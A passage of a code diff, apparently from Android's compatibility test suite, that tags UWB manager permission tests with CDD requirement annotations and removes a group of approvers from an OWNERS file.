public void testElapsedRealtimeResolutionNanosWithoutUwbPrivileged() {
try {
mUwbManager.elapsedRealtimeResolutionNanos();
@@ -252,6 +263,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testElapsedRealtimeResolutionNanosWithChipIdWithoutUwbPrivileged() {
try {
mUwbManager.elapsedRealtimeResolutionNanos(mDefaultChipId);
@@ -264,6 +276,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testAddServiceProfileWithoutUwbPrivileged() {
try {
mUwbManager.addServiceProfile(new PersistableBundle());
@@ -276,6 +289,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testRemoveServiceProfileWithoutUwbPrivileged() {
try {
mUwbManager.removeServiceProfile(new PersistableBundle());
@@ -289,6 +303,7 @@ public class UwbManagerTest {
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testGetAllServiceProfilesWithoutUwbPrivileged() {
try {
mUwbManager.getAllServiceProfiles();
@@ -301,6 +316,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testGetAdfProvisioningAuthoritiesWithoutUwbPrivileged() {
try {
mUwbManager.getAdfProvisioningAuthorities(new PersistableBundle());
@@ -313,6 +329,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testGetAdfCertificateInfoWithoutUwbPrivileged() {
try {
mUwbManager.getAdfCertificateInfo(new PersistableBundle());
@@ -325,6 +342,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testGetChipInfosWithoutUwbPrivileged() {
try {
mUwbManager.getChipInfos();
@@ -337,6 +355,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testSendVendorUciWithoutUwbPrivileged() {
try {
mUwbManager.sendVendorUciMessage(10, 0, new byte[0]);
@@ -372,6 +391,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testProvisionProfileAdfByScriptWithoutUwbPrivileged() {
CountDownLatch countDownLatch = new CountDownLatch(1);
AdfProvisionStateCallback adfProvisionStateCallback =
@@ -390,6 +410,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testRemoveProfileAdfWithoutUwbPrivileged() {
try {
mUwbManager.removeProfileAdf(new PersistableBundle());
@@ -434,6 +455,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testRegisterVendorUciCallbackWithoutUwbPrivileged() {
UwbManager.UwbVendorUciCallback cb =
new UwbVendorUciCallback(new CountDownLatch(1), new CountDownLatch(1));
@@ -449,6 +471,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testUnregisterVendorUciCallbackWithoutUwbPrivileged() {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
UwbManager.UwbVendorUciCallback cb =
@@ -474,6 +497,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testInvalidCallbackUnregisterVendorUciCallback() {
UwbManager.UwbVendorUciCallback cb =
new UwbVendorUciCallback(new CountDownLatch(1), new CountDownLatch(1));
@@ -564,6 +588,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testOpenRangingSessionWithInvalidChipId() {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
CountDownLatch countDownLatch = new CountDownLatch(1);
@@ -583,6 +608,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testOpenRangingSessionWithChipIdWithBadParams() throws Exception {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
CancellationSignal cancellationSignal = null;
@@ -610,6 +636,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testOpenRangingSessionWithInvalidChipIdWithBadParams() throws Exception {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
CancellationSignal cancellationSignal = null;
@@ -640,6 +667,7 @@ public class UwbManagerTest {
* Simulates the app holding UWB_RANGING permission, but not UWB_PRIVILEGED.
*/
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testOpenRangingSessionWithoutUwbPrivileged() {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
try {
@@ -659,6 +687,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testOpenRangingSessionWithChipIdWithoutUwbPrivileged() {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
try {
@@ -682,6 +711,7 @@ public class UwbManagerTest {
* Simulates the app holding UWB_PRIVILEGED permission, but not UWB_RANGING.
*/
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testOpenRangingSessionWithoutUwbRanging() {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
try {
@@ -701,6 +731,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testOpenRangingSessionWithChipIdWithoutUwbRanging() {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
try {
@@ -752,6 +783,7 @@ public class UwbManagerTest {
* the proxied app not holding UWB_RANGING permission.
*/
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2,C-1-5"})
public void testOpenRangingSessionWithoutUwbRangingInNextAttributeSource() {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
try {
@@ -776,6 +808,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2,C-1-5"})
public void testOpenRangingSessionWithChipIdWithoutUwbRangingInNextAttributeSource() {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
try {
@@ -801,6 +834,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2,C-1-5"})
public void testFiraRangingSession() throws Exception {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
CancellationSignal cancellationSignal = null;
@@ -894,6 +928,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2,C-1-4"})
public void testUwbStateToggle() throws Exception {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
try {
@@ -910,6 +945,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testSendVendorUciMessage() throws Exception {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
CountDownLatch rspCountDownLatch = new CountDownLatch(1);
@@ -943,6 +979,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testSendVendorUciMessageWithFragmentedPackets() throws Exception {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
CountDownLatch rspCountDownLatch = new CountDownLatch(1);
diff --git a/tools/cts-tradefed/OWNERS b/tools/cts-tradefed/OWNERS
index d27cf197c1d..9577d3af4d1 100644
--- a/tools/cts-tradefed/OWNERS
+++ b/tools/cts-tradefed/OWNERS
@@ -3,11 +3,6 @@ guangzhu@google.com
normancheung@google.com
jdesprez@google.com
-# Android Partner Eng Approvers
-aaronholden@google.com
-yuji@google.com
-nickrose@google.com
-
# File Specific Approvers
per-file Backup* = file:platform/frameworks/base:/services/backup/OWNERS
per-file cts-meerkat.xml = alanstokes@google.com, brufino@google.com, lus@google.com, rickywai@google.com